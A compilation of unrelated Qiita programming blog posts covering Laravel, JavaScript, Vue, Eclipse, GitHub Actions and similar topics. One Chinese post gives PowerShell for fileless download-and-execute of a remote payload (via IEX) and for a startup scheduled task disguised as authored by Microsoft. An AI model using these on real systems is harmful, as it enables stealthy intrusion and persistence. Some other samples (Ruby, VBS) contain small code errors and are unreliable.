OmniAICreator/Qiita-1.07M huggingface dataset:
laravel ディレクティブについてのまとめ

#laravel ディレクティブについて
bladeテンプレート(view)の中で利用できる命令のこと

```php:○○.php
@foreach(連想配列as変数)
//PHPのforeachと同じ
@if（条件式）
//phpのifと同じ
@unless(変数)
//falseの場合に出力
@iseet(変数)
//trueの場合に出力
@empty(変数)
//変数が存在しない場合のみ(null)の時に出力
@switch
//phpのswitchと同じ
@for
//phpのfor文と同じ
@break
//phpのbreak文と同じ
@loop
//ちょっと特殊　ループ変数と呼ばれる ※わかりづらいので下記に例あり
//index：インデックス番号（0スタート）
//iteration：繰り返し数（1スタート）
//remaining：残っている要素数
//count：配列の総数
//first：最初の項目->>>配列の先頭の時には1を返す
//last：最後の項目 ->>>配列の最後尾の時には1を返す
//even：偶数回目か
//odd：奇数回目か
//depth：入れ子レベル
//parent：親のループ変数（ネストした入れ子の場合）
@forelse
//処理
@empty 
//配列が空の場合の処理
//配列が空の場合の出力を設定できる
//※データの表示によって振り分けるのに@ifディレクティブよりも@forelseの方がおすすめ
@php
//<？phpと同じだが使用は例外的とのこと
@yield(name,[,default])
//name テンプレートからプレイスホルダー(空)の変数を受け取る時に使用

//①
@section(name)
//default
 @show
//②
@section()
@parent
//default
//名前が示す通りにコンテンツのセクションを定義※上記の様に複数の定義方法がある

//default->　規程のコンテンツ(アクション変数とか)
@each(path,データ,仮変数,配列が空の時に実行)


```
※※loopディレクティブの例

```php:controller.php
    public function foreach_loop()
    {
        return view('view.foreach_loop', [
            'weeks' => [ '月', '火', '水', '木', '金', '土', '日' ]
        ]);

    }

````


```php:foreach_loop.php
<tr>
  <th>値</th>
  <th>index</th>
  <th>iteration</th>
  <th>count</th>
  <th>first</th>
  <th>last</th>
  <th>even</th>
  <th>odd</th>
  <th>depth</th>
</tr>
@foreach ($weeks as $week)
  <tr>
    <td>{{ $week }}</td>
    <td>{{ $loop->index }}</td>
    <td>{{ $loop->iteration }}</td>
    <td>{{ $loop->count }}</td>
    <td>{{ $loop->first }}</td>
    <td>{{ $loop->last }}</td>
    <td>{{ $loop->even }}</td>
    <td>{{ $loop->odd }}</td>
    <td>{{ $loop->depth }}</td>
  </tr>
@endforeach
</body>
</html>

```

![スクリーンショット 2020-10-08 19.12.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/771733/89eed1d6-d5c6-ec18-de54-d88bb43df783.png)
キャメルケースとスネークケース

# キャメルケース
`companyId`や`blogCategory`のように2語３語と単語同士をつづけた書く書き方。

- 先頭の単語が小文字
 - 関数名は先頭小文字。例：createBlogCategory()
 - 変数名(引数名)は先頭小文字。例：companyId

- 先頭の単語が大文字をパスカルケースまたはアッパーキャメルケースと呼ぶ
 - class名は先頭大文字。例：BlogCategory


# スネークケース
`company_id`や`blog_catefgory`のように2語３語と単語同士をアンダーバーで挟んでつなげる書き方。

- 定数はすべて大文字。例:BLOG_CATEGORY
- データベースなどで使われます。

# ケバブケース
`company-id`や`blog-catefgory`のように2語３語と単語同士をハイフンで挟んでつなげる書き方。

- HTMLのclass名で使われます。
JavaScriptの闇 thisへ挑む

# はじめに
今回はJavaScriptの闇... thisについて、様々な角度で挑みたいと思います！

[【YouTube動画】JavaScriptの闇 this](https://youtu.be/sIGrsliVj4U)
[![JavaScriptの闇 this](https://img.youtube.com/vi/sIGrsliVj4U/0.jpg)](https://www.youtube.com/watch?v=sIGrsliVj4U)

# thisとは
### thisは関数の呼び出し元へのリンクです。

例えば、以下の場合test.getName()はtaroを返します。

thisは関数getNameで呼び出されています。その関数getNameはtestオブジェクトの関数なので、this = testオブジェクトになります。
関数getName()のthisをtestオブジェクトに変え、test.name = taroとなります。

```js
const test = {
  name: 'taro',
  getName: function() {
    return this.name;
  }
}
```

# グローバルなthis
関数の読み出し元を指定しない場合はWindowになります。
それを確認してみましょう。

以下2つを定義しておきます。

まず、obj.sayThis()を考えます。
sayThis()はobjオブジェクトから呼び出されているので、関数sayThis内のthisはobjオブジェクトになります。
ということで、obj.sayThis()は { name: 'taro' } を返します

次に、sayThis()を考えます。
こちらは特に呼び出しているオブジェクトがないため、Windowになります。
ちなみに、strictモードで実行すると、undefinedになります。

```js
// メソッド
const sayThis = function() { console.log(this) }

// オブジェクト
const obj = { name: 'taro' }
```


# コンストラクタでのthis
コンストラクタではnewでオブジェクトを作成でき、呼び出し元が定まります。

以下のように定義しておきます。

yamadaの方ではnew Personによりオブジェクトが作成されるので、yamada.nameはtaroを返します。
しかし、tanakaの方はオブジェクトが作成されていないので、name of undefinedエラーになります。

```js
const Person = function(hoge) { this.name = hoge; }

const yamada = new Person('taro')
const tanaka = Person('taro')
```

# プロトタイプメソッド内でのthis

以下のように定義しておきます。
ここで、yamada.getName()とすると、taroが返ります。
ちなみに、Person.getName()の場合はPerson.getName is not a functionになります。

```js
const Person = function(hoge) { this.name = hoge; }
Person.prototype.getName = function() { return this.name; }

const yamada = new Person('taro')
```

対して、次のようにprototypeをなくした場合は、yamada.getName is not a functionになります。
また、Person.getName()の場合、Personが返ります。

```js
const Person = function(hoge) { this.name = hoge; }
Person.getName = function() { return this.name }

const yamada = new Person('taro')
```

# 入れ子関数でのthis
入れ子関数にすると、定義元はどうなるでしょう。

以下を定義して、test.sayHello()を実行すると、上から { sayHello: f }, Windowになります。
最初のthisの呼び出し元はsayHelloで、2番目のthisは呼び出し元が明示されていないためです。

```js
const test = {
  sayHello: function() {
    console.log(this)
    const func = function() {
      console.log(this)
    }
    func()
  }
}
```

# arrow関数でのthis
入れ子関数でもarrow関数にすると、thisの呼び出し元が定まります。

そのため以下の場合、test.sayHello()は、{ sayHello: f }, { sayHello: f } になります。

```js
const test = {
  sayHello: function() {
    console.log(this)
    const func = () => {
      console.log(this)
    }
    func()
  }
}
```


# まとめ
今回はJavaScriptで迷いやすいthisについて解説していきました！
なるほど分からんと思った方、ぜひコンソール画面などで遊んでみてください！

[twitter](https://twitter.com/yassun_youtuber)や[youtube](https://www.youtube.com/channel/UCajrdoGzHzDogrNrLYYmGsg/featured?view_as=public)でのコメントもお待ちしています！
macでxgboostが動かない場合の対処方法

## 現象
anacondaなどを使って

```
import xgboost as xgb
```
をしようとすると以下のようなエラーが出る場合がある

```
opt/anaconda3/envs/locale1/lib/python3.7/site-packages/xgboost/core.py in _load_lib()
    162             '`brew install libomp` to install OpenMP runtime.\n' +
    163             '  * You are running 32-bit Python on a 64-bit OS\n' +
--> 164             'Error message(s): {}\n'.format(os_error_list))
    165     lib.XGBGetLastError.restype = ctypes.c_char_p
    166     lib.callback = _get_log_callback_func()

XGBoostError: XGBoost Library (libxgboost.dylib) could not be loaded.
Likely causes:
  * OpenMP runtime is not installed (vcomp140.dll or libgomp-1.dll for Windows, libomp.dylib for Mac OSX, libgomp.so for Linux and other UNIX-like OSes). Mac OSX users: Run `brew install libomp` to install OpenMP runtime.
  * You are running 32-bit Python on a 64-bit OS
Error message(s): ~~~
```

## 対処方法
以下を実行してあげれば動きました

```
brew install libomp
```
【Eclipse】ショートカットキーチートシート

これからEclipseを扱うことになるので、操作方法のお勉強。
ほとんどVSCodeと変わらないのでスッと入りそうではありますね。

| キー                   | 内容                                                 | 
| ---------------------- | ---------------------------------------------------- | 
| Ctr + M                | 画面最大化                                           | 
| Ctrl + ;               | フォントサイズ大（セミコロンの位置は +と覚える）     | 
| Ctrl + -               | フォントサイズ小                                     | 
| Option + Shift + J + X | RUN (実行する)                                       | 
| Option + 矢印          | 行を移動する                                         | 
| Command + D            | 行を削除                                             | 
| Shift + command + F        | フォーマットの整形                                   | 
| Ctrl + Speace          | 入力補完<br>・tabで移動<br>・shift + tab で戻る      | 
| Shift + Ctrl + O       | インポート文整理（要らなくなったインポート文を消す） | 
| Ctrl + Command + R     | リファクタリング                                     | 
| Ctrl + .               | エラー部分に移動                                     | 
| Ctrl + 1               | クイックフィックス                                   | 
| Ctrl + N               | 新規作成                                             | 
| Option + Ctrl +S       | セッター・ゲッター生成                               | 
| Option + Ctrl +S       | コンストラクタ生成                                   | 
| option + command + J       | Javadocコメントの追加
| option + command + R       | 名前を一括変更する
| option + command + → ( or ← )       | ヒストリーを戻す／進む
pixi.jsからAdobe Animateで作ったコンテンツを使いたい

# はじめに

皆さんはゲームを作る際、デザイナーが作ったUI・アニメーションをどのような形で実装しているでしょうか？

Unityのようにそのあたりの実装機能を持つIDEが内蔵されていればいいんですが、
スクリプトのみでやらなければいけない場合、目コピしたりプロパティ変化を見てみたりと
わりと面倒だったりするんですよね。

私はHTML5ゲームを作るのに、主に [pixi.js](https://www.pixijs.com/) を使用しているんですが、
シンプルなゲームであればまだしも、アプリ然としたゲームになってくるにしたがって
この**アニメーション実装時間かかるよ問題**が重くのしかかってくるように。[^1]

[^1]: pixi.jsは`spine`が使えるので、そっちに行くのもありなんですが、
  AnimateないしFlashに慣れ親しんだデザイナーが多いという背景もあり…

そんなこんなで

pixi.jsからAdobe Animateでパブリッシュしたコンテンツを使用できるプラグイン
[pixi-animate-container](https://github.com/tawaship/pixi-animate-container) 

を作ってみました。

## ドキュメントとサンプル

https://tawaship.github.io/pixi-animate-container/

# 使いかた

## 用意するもの

- CreateJS 1.0.0
- pixi.js 5.3.2
- pixi-animate-container 3.0.1
- Adobe Animateでパブリッシュしたコンテンツ一式

## ファイルの読み込み
~~~html
<script src="https://code.createjs.com/1.0.0/createjs.min.js"></script>
<script src="pixi.5.3.2.min.js"></script>
<script src="pixi-animate-container.min.js"></script>
<script src="content/content.js"></script> <!-- Adobe Animateでパブリッシュしたコンテンツ一式のjsファイル -->
~~~

1. 最初にpixi.js及びCreateJS（順不同）
2. 次にpixi-animate-container
3. 最後にcontent/content.js

という順で読み込むようにしてください。

## 実装

### アプリケーションを作る

~~~javascript
const app = new PIXI.Application({
    width: 450,
    height: 800,
    antialias: true,
    resolution: pRatio,
    backgroundColor: 0xFFFFFF
});
~~~

普通にアプリケーションを作ればいいです。

### 初期化する

~~~javascript
PIXI.animate.init({
    useSynchedTimeline: true,
    useDeltaTime: false,
    ticker: app.ticker
});
~~~

- `ticker`には、コンテンツのループ処理に使う`ticker`を指定します。  
独自に`ticker`作って処理しますというのでなければ、`PIXI.Application#ticker`を入れればOK。

### コンテンツの準備をする

~~~javascript
const prepare = PIXI.animate.loadAssetAsync({
	id: [conposition id],
	basepath: [content directory path],
	options: {
		crossOrigin: false
	}
});
~~~

- 引数は使用するコンテンツのデータオブジェクト。
使用するコンテンツが複数あれば、データオブジェクト配列を指定することも可能。

  - `id`  
content.js内で`lib.properties.id`として定義されている32文字くらいの文字列。

  - `basepath`  
「Adobe Animateでパブリッシュしたコンテンツ一式ディレクトリ」の
**HTMLから見た相対パス**、または**絶対パス**のいずれか。

  - `options.crossOrigin`  
アセットの読み込みが`crossOrigin`になるかどうか。  
`basepath`に絶対パスを使用、かつオリジンが異なる場合は`true`にする。

### 使用する
~~~javascript
prepare.then(function(lib) {
	class Root extends PIXI.animate.Container {
		constructor() {
			super();
			
			this.addCreatejs(new lib.game());
		}
	}
	
	app.stage.addChild(new Root());
	document.body.appendChild(app.view);
});
~~~

- `PIXI.animate.loadAssetAsync`は、指定されたコンテンツの`lib`で解決される。
仮に複数のコンテンツが指定されている場合は、`lib`の配列で解決される。

- `PIXI.animate.Container#addCreatejs`の引数に、`lib`に定義されている任意のクラスインスタンスを指定する

## 補足

`PIXI.animate.Container#addCreatejs`の戻り値は、引数に指定したcreatejsインスタンスそのものです。
ですので例えば

- 'lib.game'クラスインスタンスの`instance_3`プロパティに格納されているインスタンスを0フレームで止める

~~~javascript
this.addCreatejs(new lib.game()).instance_3.gotoAndStop(0);
~~~

- lib.game'クラスインスタンスの`alpha`を0.5にする

~~~javascript
this.addCreatejs(new lib.game()).alpha = 0.5;
~~~

のような処理が可能です。
またこれらの処理によって描画内容が変化する場合、もちろん見た目（pixi.jsで作ったcanvasの表示）に反映されます。

# おわりに

みんなもpixi.js使ってね！
使用com对象实现无文件下载和计划任务

无文件下载并执行

```powershell
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Send(); IEX $o.responseText;
```

计划任务

```powershell
$UserAcct = ""
$UserPass = ""

# The name of the scheduled task
$TaskName = [Guid]::NewGuid().ToString()
# The description of the task
$TaskDescr = "Run command desc"

# The time when the task starts, for demonstration purposes we run it 10 seconds after we created the task
$TaskStartTime = [datetime]::Now.AddSeconds(10)

# attach the Task Scheduler com object
$ScheduleObject = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
# connect to the local machine. 
$ScheduleObject.Connect()
$rootFolder = $ScheduleObject.GetFolder("\")

$TaskDefinition = $ScheduleObject.NewTask(0) 
$TaskDefinition.RegistrationInfo.Description = "$TaskDescr"
$TaskDefinition.RegistrationInfo.Author = "Microsoft Corporation"
# $TaskDefinition.Principle.RunLevel = $true
$TaskDefinition.Settings.Enabled = $true
$TaskDefinition.Settings.AllowDemandStart = $true
$TaskDefinition.Settings.DisallowStartIfOnBatteries = $false
$TaskDefinition.Settings.ExecutionTimeLimit = "PT5M"  # See Note Below

$triggers = $TaskDefinition.Triggers
$trigger = $triggers.Create(8) # Creates a "At System Startup" trigger
$trigger.StartBoundary = $TaskStartTime.ToString("yyyy-MM-dd'T'HH:mm:ss")
$trigger.Enabled = $true
$trigger.ExecutionTimelimit = "PT0S"

$Action = $TaskDefinition.Actions.Create(0)
$action.Path = "cmd.exe"
$action.Arguments = "/c calc"

$rootFolder.RegisterTaskDefinition($TaskName,$TaskDefinition,6,$UserAcct,$UserPass,3)
```
データベースおよびクエリサービス比較ブログの紹介

このブログでは、データベースおよびクエリーサービス（エンジン）に関する比較ブログを紹介します。各比較ブログへ遷移するには、各ブログのタイトルをクリックください。

#データベース
##[PostgreSQL vs MySQL:  その違いとは?](https://www.xplenty.com/jp/blog/postgresql-vs-mysql-which-one-is-better-for-your-use-case-ja/)
このブログでは、MySQLとPostgreSQLの異なる特徴を理解して、どちらの方がみなさんのユースケースに適しているかを判断できるようサポートします。

##[MariaDB vs MySQL: 徹底比較](https://www.xplenty.com/jp/blog/mariadb-vs-mysql-everything-you-need-to-know-ja/)
MariaDBとMySQLは同一プロジェクトの派生ですが、同じというわけではありません。このガイドでは、MySQL と MariaDB の違いについて学び、どちらの方がニーズに適しているかを知ることができます。 

##[BigTable vs BigQuery 特徴・違いを徹底比較](https://www.xplenty.com/jp/blog/bigtable-vs-bigquery-ja/)
このブログでは、BigTable vs BigQueryのストレージシステムの特徴・違いについて比較します。

#クエリサービス/エンジン
##[Amazon Redshift Spectrum vs. Athena: 徹底比較](https://www.xplenty.com/jp/blog/amazon-redshift-spectrum-vs-athena-a-detailed-comparison-ja/)
一見すると、Redshift SpectrumもAthenaも、SQLを使ってAmazon S3内のデータをサーバーレスでクエリするという点において、同じ機能を提供しているように見えます。インフラを維持する必要がないので、信じられないほどコストパフォーマンスが高いです。しかし、この2つには機能面での違いがあります。Amazon Redshift SpectrumとAmazon Athenaの違いを詳しく解説します。

##[Presto vs. Hive: 徹底比較](https://www.xplenty.com/jp/blog/presto-vs-hive-ja)
ビッグデータのニーズを満たすためにPrestoとHiveのどちらを選ぶべきか悩んでいますか？このブログでは両者の違いについて解説し、PrestoおよびHiveのどちらが自社にあったソリューションかの判断に役立つ情報を提供します。

#最後に
NoSQLデータベースの比較について興味のある方は**[「NoSQLデータベースを比較 MongoDB vs. Cassandra,DynamoDB,CouchDB」](https://qiita.com/Azabu10ban/items/b0aed2c19ed71039f8f4)**もご覧ください。
VBSで複数Excelを一括印刷するときに使ったやつ


（何番煎じだ！ とか言わないで）

# はじめに

大量のExcelファイルを一括印刷したいとき、エクスプローラで一括選択してから右クリック、「印刷」で出来るかなと思っていたけども
選択するファイルが多くなってくると「印刷」メニューそのものが出てこないことが分かった。

一個一個開いて印刷するのは超面倒なので何とかならないか考えた。


# 動作確認環境

* Windows 10 Pro
* Microsoft Office 2010/2013


# コード

```vb:Excel一括印刷
Option Explicit

' 確認メッセージ
If MsgBox("このプログラムと同じフォルダにあるExcelファイルを全て印刷します。よろしいですか？", vbYesNo + vbExclamation) = vbNo Then
    WScript.Quit
End If

' ファイルシステムオブジェクトの生成
dim fso
set fso = createObject("Scripting.FileSystemObject")

' スクリプトが存在するフォルダパスを取得
dim scriptdir
scriptdir = fso.getParentFolderName(WScript.ScriptFullName)

' Excelを起動
dim objExcel
set objExcel = CreateObject("Excel.Application")
objExcel.Application.Visible = false ' Excelを不可視状態とする

dim file
dim ext
for each file in scriptdir.files

    ext = fso.GetExtensionName(file)

    ' ファイル名がテンポラリファイル(~$で始まらない)でなく、拡張子がExcelっぽかったらExcelで開いてみる
    if (Left(fso.getBaseName(file), 2) <> "~$") AND ((ext = "xls") OR (ext = "xlsx")) then
        objExcel.Workbooks.Open(file)

        ' 1番目のシートをアクティブにする
        objExcel.Worksheets(1).Activate

        ' アクティブなシートを印刷する
        objExcel.ActiveWindow.ActiveSheet.PrintOut

        ' 開いたExcelブックを保存する場合は↓のコメントアウトを外す
        'objExcel.Workbooks(1).Save

        ' 開いたExcelブックを保存する場合は↓の「False」を外す。Falseだと保存せず閉じる
        objExcel.Workbooks(1).Close False
    end if
next 

' Excelを終了し、オブジェクトを解放する
objExcel.quit()
Set objExcel = Nothing

msgbox("印刷ジョブを送信しました")
```

上記コードをメモ帳等にコピペし、拡張子「`.vbs`」でExcelファイルのあるフォルダに保存。
あとはそのファイルをダブルクリックして実行するだけ。

このコードだけで言うとワークシート内のデータをいじったわけではないので、保存せず閉じても支障ないのかなと思っている。

## 既知の問題、Tips

* 処理中にExcelを起動するとバグる
非表示にしていたものが表示されてしまい、処理が正常に進まなかったり操作ができなくなったりする。

* 各ブックの全シートを印刷したい時はさらに改造が必要
「シートのアクティブ化」→「シートの印刷」 を存在するシート分繰り返す必要がある。
多重配列から各名前とその中身の合計を出力する

【概要】
----------------------------------------
<b>1.結論</b>

<b>2.どのようにコーディングするのか</b>

<b>3.ここから学んだこと</b>




1.結論
----------------------------------------
<b>eachメソッドの入れ子と添字</b>を使用する！
<br>
2.どのようにコーディングするのか
----------------------------------------

```ruby
vegetables_price = [["tomato", [200, 250, 220]], ["potato", [100, 120, 80]], ["cabbage", [120, 150]]] #---❶

vegetables_price.each do |vegetable| #---❷
  sum = 0
  fruit[1].each do |price| #---❸
    sum += price
  end
  puts "#{vegetable[0]}の合計金額は#{sum}円です" #---❹
end
```

❶：vegetables_priceを多重配列にして、トマト・じゃがいも・キャベツの中に３種類の金額を配列にしています。
❷：まず、1段階目の各配列を取り出したいのでvegetables_priceをeachメソッドを使用しvegetableで抜き出しています。(ex:["tomato", [200, 250, 220],["potato", [100, 120, 80]],["cabbage", [1200, 1500]])
❸：さらにeachメソッドを使用し、金額を抜き出しています。出力用に事前にsum = 0にしておき、各野菜に対して合計金額を計算するようにしています。[1]なのは、["tomato", [200, 250, 220]の状態だと配列なのでtomatoは[0]、[200, 250, 220]は[1]になるからです。(ex:tomato➡︎200+250+220,potato➡︎100+120+80,cabbage➡︎120+ 150)
❹：ここで各野菜の名前と各合計金額を出力しています。vegetable[0]で固定しているのも❸と同じ理屈です。

3.ここから学んだこと
----------------------------------------
二重ハッシュにして、目的の名前を入力した金額だけを合計することもできそうだと思いました。なので、キーバリューストアを使用してコーディングしてみます。
<br>
github actions を使って release 作成

## github actions とは
> プッシュ、Issue、リリースなどのGitHubプラットフォームのイベントをトリガーとしてワークフローを起動しましょう。コミュニティが開発・保守し、ユーザが熟知・愛用しているサービスについて、対応するアクションを組み合わせて設定できます。

> https://github.co.jp/features/actions

熟知・愛用してるコマンド/イベントを拡張できるやつみたいな雰囲気
(熟知・愛用っていいですね。取り入れやすい雰囲気出してる)

## とりあえず入れてみる

https://github.com/marketplace/actions/create-a-release
ここからコピペ
定数とか色々あるけど github 内で入れてくれるぽい

```.github/workflows/release.yml
name: Create Release

on:
  push:
    # Sequence of patterns matched against refs/tags
    tags:
      - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10

jobs:
  build:
    name: Create Release
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
      - name: Create Release
        id: create_release
        uses: actions/create-release@v1
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # This token is provided by Actions, you do not need to create your own token
        with:
          tag_name: ${{ github.ref }}
          release_name: Release ${{ github.ref }}
          body: |
            Changes in this Release
            - First Change
            - Second Change
          draft: false
          prerelease: false
```

で `commit` `push` 後
tag を作成してみる

```shell
git tag vtest
git push origin --tag
```

(`git tag` 初めて使った)

![Screen Shot 2020-10-09 at 11.11.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/160152/a1c5815b-96fa-6c7c-bd77-8a868a076aa1.png)
おお、リリースが作成された！

これ使って、アーカイブ自動化とか色々できそうすね
dbpediaの研究 その33

#概要

dbpediaが難解なので、手出してみる。
sparqlで、問い合わせて、グラフ構造データを、d3.jsで可視化してみた。

#写真

![無題.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/e2ef3bbb-3c45-c1b2-2f15-3327a6db38a0.jpeg)


#sparqlクエリー


```
select distinct * 
where {
  ?s prop-ja:隣接都道府県 ?o. 
}

```

#成果物

http://embed.plnkr.co/plunk/Jb9WggE8g9Qk8xM4

以上。
ActiveDirectoryとは？

## 勉強前イメージ

windowsサーバで、
windowsPCを管理したりするもの(あやふや....)

## 勉強

### Active Directoryとは

windows server の機能として、
ユーザの認証機能を提供するのが `Active Directory` になる。
使用する情報としては、`ユーザ名` と `パスワード` で認証を行う。

### Active Directory を使用してドメインコントローラーでアクセスの管理

ActiveDirectoryでユーザの認証を行うのは、上記で説明をしました。
管理者で使用する機能として、他に`ドメインコントローラー` というものがあります。

ドメインコントローラーとはドメインを管理するもの。
ドメインとは、管理者配下にあるユーザやユーザの部署・チーム、データのことを指し、
その部署・チーム、データのアクセスを制御するのがドメインコントローラーの役割です。

例えば、
`営業部の人はファイルサーバの営業部のフォルダを開けるが、開発部の人は営業部のフォルダが開けない`
を管理するのが、ドメインコントローラーの役割です。




### Active Directory を使用してシングルサインオンの仕組み

ActiveDirectoryでのユーザの認証を利用して、
他のドメイン(管理者配下にあるユーザやユーザの部署・チーム、データ)にアクセスすることが出来ることを`シングルサインオン`と言います。

以下の図では、
sample.comのデータにアクセスする際・test.comのデータにアクセスする際・hoge.comのデータにアクセスする際
3回認証をしないといけないが、ActiveDirectoryの認証とシングルサインオンを組み合わせることで、
一度ActiveDirectoryで認証すると他のドメインでは認証なしにアクセスが出来るようになります。


![プレゼンテーション1 - PowerPoint 2020-10-07 21.07.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/129517/b9eb7acd-c256-4558-e924-6bee6d58690f.png)


## 勉強後イメージ

windowsサーバ使ったことなかったけど、
大半の会社でてActiveDirectoryで管理されているんだなぁと思いました。
社内SEの方、いつもありがとうございます。


## 参考

- [Active Directory（アクティブディレクトリ）をゼロから解説、関連用語もまとめて紹介](https://www.sbbit.jp/article/cont1/37798)
- [Active Directoryはなぜ必要なのか](https://www.atmarkit.co.jp/ait/articles/1404/11/news028.html)
dialogをコンポーネント化にする

# やりたいこと
ボタンをクリックして、ダイアログをポップアップ出る。かつ、ボタンとダイアログのコンポーネントが同じではない場合。

# 親コンポーネント

```html:Click.vue
<template>
  <div id="app">
    <v-app id="inspire">
      <v-row justify="center">
        <v-btn slot="activator" color="red lighten-2" @click="dialogs.dialog = true" dark>Click Me</v-btn>
        <dialog-card :dialog="dialogs"></dialog-card>
      </v-row>
    </v-app>
  </div>
</template>
<script>
export default {
  components: {
    DialogCard: () => import("./DialogCard.vue")
  },
  data() {
    return {
      dialogs: {
        dialog: false,
        notifications: false,
        sound: true,
        widgets: false
      }
    };
  },
};
</script>
```
* 親部分説明  <br> :dialog="dialogs"
で子供にdialog（プロパティ）転送するデーターとします。<br>
@clickでダイアログの表示非表示を切り替えます。

# 子コンポーネント
```vuejs:DialogCard.vue
<template>
  <v-dialog v-model="dialog.dialog" max-width="600px" persistent>
    <v-card>
      <v-card-title>
        <span class="headline">連絡先</span>
      </v-card-title>
      <v-card-text>
        <v-container>
          <v-row>
            <v-col cols="12" sm="6" md="4">
              <v-avatar color="indigo">
                <v-icon dark>mdi-account-circle</v-icon>
              </v-avatar>
            </v-col>
            <v-col cols="12" sm="6" md="4">
              <v-text-field label="姓*" required></v-text-field>
            </v-col>
            <v-col cols="12" sm="6" md="4">
              <v-text-field label="名" required></v-text-field>
            </v-col>
            <v-col cols="12">
              <v-text-field label="Email*" required></v-text-field>
            </v-col>
            <v-col cols="12">
              <v-text-field label="住所"></v-text-field>
            </v-col>
            <v-col cols="12" sm="6">
              <v-select :items="['ディレクトリ1', 'ディレクトリ2', 'ディレクトリ3']" label="分類"></v-select>
            </v-col>
            <v-col cols="12" sm="6">
              <v-autocomplete
                :items="['経理', 'プラットフォーム', 'プラットフォーム2', '人事']"
                label="組織"
                multiple
              ></v-autocomplete>
            </v-col>
            <v-col cols="12" sm="6">
              <v-text-field label="メモ"></v-text-field>
            </v-col>
          </v-row>
        </v-container>
       </v-card-text>
      <v-card-actions>
        <v-spacer></v-spacer>
        <v-btn color="blue darken-1" text @click="dialog.dialog = false">Close</v-btn>
        <v-btn color="blue darken-1" text @click="dialog.dialog = false">Save</v-btn>
      </v-card-actions>
    </v-card>
  </v-dialog>
</template>

<script>
export default {
  props: ["dialog"],
};
</script>

```
* 子部分説明<br>
v-model="dialog.dialog" で表示非表示を切り替え<br>
 props: ["dialog"]　で親のデーターを受け取る<br>
@click で表示非表示を切り替え

# 完成図
1. 親(ボタン)
![vue1.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/755874/db8c7d17-e81a-638f-ad5c-a39daf929060.png)
2. 子(ダイアログ)
![vue2.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/755874/90a1e9b5-4ab7-b83a-b684-99afe2ee4223.png)
結局最初学ぶならJavaかなと思う

十数年Javaの仕事をやってきて、数年前よりJavaに飽きたしもっと効率よく開発できる言語があるのではないかと思ってPythonを使っていて社内でも新人にはじめからPythonを教えてきた。

2年前こんな記事を書いたりした。

* [Java屋さんの私がPythonをはじめる理由](https://qiita.com/HyunwookPark/items/68d029dd33807fc69ca4)

Pythonはいい。環境構築がかなり手軽でかつスクリプト言語ならではの実装とデバッグの速さがある。
ただ、エンジニア志望の初学者はやはりJavaをやった方がいいと思った。もし、最初はJavaではないにしても一度は通ってほしい。

Pythonから初めてJavaやる人に面倒くさいという拒否感が起こるのも問題かなと思う。
JavaからやってPythonに触れると楽ちんだなと思う程度で拒否感が少ない。（気がする）

「面倒くさい」という感覚はエンジニアとして大事だが、きっちり書く部分はきっちり書いてほしい。エンジニア初心者のPythonコードはかなり追いづらい。
「型はなんなのか」「クラスなのかインスタンスなのか」「変数のスコープは？」などを考慮できるのがベテランへの道だと思う。

javaとpythonの違いについてもまとめていくつもり。

* [javaとpythonの違いを列挙してみた](https://qiita.com/HyunwookPark/items/bd59ed70cd4415f5f664)

# 型宣言はやっぱりいい

* 数値を入れてた変数に文字列入れたり好き放題はやめてほしい。
  * でもプログラミング始めたばかりだとやってしまいがち。
  * 混乱するし、型はしっかり意識したいところ。
* IDEでメソッドの引数や戻り値の型が明確にわかるのはかなり便利
  * 一人で作るなら問題ないけど、複数人で作ると一気に嬉しさが際立つ
  * Pythonから学んだ人がJavaをやり始めるときに型を書くのは面倒だというがそのメリットは絶大

# オブジェクト指向やるなら

オブジェクト指向の一通りを学ぶにもJavaはいい。インタフェース、インスタンス変数、クラス変数などが概念に近い書き方をする。
他の言語でも学べなくはないけど概念のイメージがしやすいのはJavaだと思う。

pythonだとコンストラクタの中にインスタンス変数宣言をするのでメンバーフィールドという感じがしない。
また、pythonにはインターフェースという概念自体がなかったりするのでオブジェクト指向の話をするときにいちいちpythonだと変りに抽象クラスを使ってという説明になる。

pythonでWebやるぐらいだと関数型プログラミングになって、オブジェクト指向っぽい作りとは縁遠い。
pythonのWebフレームワークdjangoを使うならmodelの部分ぐらいがオブジェクト指向だろうか。。

Javaで定番のフレームワークSpringを使うとDIという考え方とか出てくるのでオブジェクト指向の学習は避けられないはず。

# 他の言語の学習がしやすい

PythonやRubyは人気上位の他の言語に構文が似ているものが少ないく、
Web技術で必須のJavascriptを学ぶ際にも抵抗感ができる。

### Javaと構文が似ている言語たち

* Javascript(Web技術に必須)・・・Web技術
* C#(Unityも使える)・・・ゲーム
* Kotlin(似ているというか派生だけど)・・・Androidアプリ
* C言語(C言語の影響を受けてるから似てるところ多い)・・・制御系　それ以外もいけるけど
* C++・・・なんでも来い？^^

# C#は便利すぎる！？

これまでの特徴ならC#でもいい。
C#の書き方はほぼJavaのそれと変わりない。
C#はよくできていてC#が提供する部品内でほとんどのことができる。多少他のライブラリに頼るときもあるがJavaなどのように最初からいろんなライブラリを組み合わせないと始まらないということはない。
ずっとC#しかやらないと決めたならそれもありだが高見を目指すエンジニアとしてはいろんな技術を身につけたいと思うだろう。Javaだと最初キツイけどそのあとの伸び率に期待できると思った。

# C言語もいいけど

プログラム基礎としてはかなりいいけど、初心者にはハードルが高い。ポインターという概念が難しい。
またオブジェクト指向が使えないから、やるならC++だけど、さらにハードルが高い。。
Webとかやろうと思うとキツイのも初心者には向かない理由かな。

# 対応できる幅が広い

Javaは業務システム、ECサイト、機械学習、帳票出力、バッチ、ほぼなんでも来い状態。
苦手なものがほとんどないのは強い。
他の技術でキツイときはJavaでやれば実現できるという保険にもなる。
